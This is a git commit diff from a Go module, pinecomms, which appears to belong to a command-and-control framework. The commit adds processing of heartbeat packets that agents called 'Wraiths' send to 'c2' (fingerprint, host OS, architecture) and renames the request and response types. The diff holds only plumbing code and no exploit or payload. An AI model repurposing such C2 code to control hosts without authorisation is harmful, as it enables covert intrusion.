chore: initial heartbeat processing
This commit is contained in:
parent
88a1722811
commit
a4d213f764
|
@ -17,6 +17,7 @@ import (
|
|||
"syscall"
|
||||
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/pmanager"
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/proto"
|
||||
)
|
||||
|
||||
//go:embed ui/dist/*
|
||||
|
@ -175,11 +176,25 @@ func main() {
|
|||
mainloop:
|
||||
for {
|
||||
select {
|
||||
// Exit if requested.
|
||||
case <-sigchan:
|
||||
break mainloop
|
||||
case <-recv:
|
||||
// TODO
|
||||
println("received message")
|
||||
// Process incoming packets.
|
||||
case packet := <-recv:
|
||||
peerPublicKey, err := hex.DecodeString(packet.Peer)
|
||||
if err != nil {
|
||||
// This shouldn't happen, but if the peer public key is
|
||||
// malformed then we have no choice but to ignore the
|
||||
// packet.
|
||||
continue
|
||||
}
|
||||
|
||||
switch packet.Route {
|
||||
case proto.ROUTE_HEARTBEAT:
|
||||
packetData := proto.PacketHeartbeat{}
|
||||
proto.Unmarshal(&packetData, peerPublicKey, packet.Data)
|
||||
fmt.Printf("%v\n", packetData)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ import (
|
|||
)
|
||||
|
||||
type packetData interface {
|
||||
Heartbeat | Req | Res
|
||||
PacketHeartbeat | PacketReq | PacketRes
|
||||
}
|
||||
|
||||
// Converts a packet into a byte array ready for transmission.
|
||||
|
|
|
@ -2,7 +2,7 @@ package proto
|
|||
|
||||
// The structure of heartbeats which Wraiths send to c2 to register
|
||||
// their status and presence.
|
||||
type Heartbeat struct {
|
||||
type PacketHeartbeat struct {
|
||||
// The unique fingerprint of the Wraith.
|
||||
Fingerprint string
|
||||
|
|
@ -2,7 +2,7 @@ package proto
|
|||
|
||||
// The structure of requests pc3 makes to Wraiths running the
|
||||
// pinecomms module.
|
||||
type Req struct {
|
||||
type PacketReq struct {
|
||||
// The actual payload which tells the module what to do.
|
||||
Payload struct {
|
||||
// Which shm fields should be read and returned.
|
|
@ -2,7 +2,7 @@ package proto
|
|||
|
||||
// The structure of responses Wraiths running the pinecomms module
|
||||
// make to pc3.
|
||||
type Res struct {
|
||||
type PacketRes struct {
|
||||
// The main body of the response.
|
||||
Payload struct {
|
||||
// A map of all read cells and their contents.
|
|
@ -111,7 +111,7 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
|
|||
return
|
||||
case <-time.After(time.Duration(interval) * time.Second):
|
||||
// Build a heartbeat data packet.
|
||||
heartbeatData := proto.Heartbeat{
|
||||
heartbeatData := proto.PacketHeartbeat{
|
||||
Fingerprint: fingerprint,
|
||||
HostOS: runtime.GOOS,
|
||||
HostArch: runtime.GOARCH,
|
||||
|
|
Loading…
Reference in New Issue
Block a user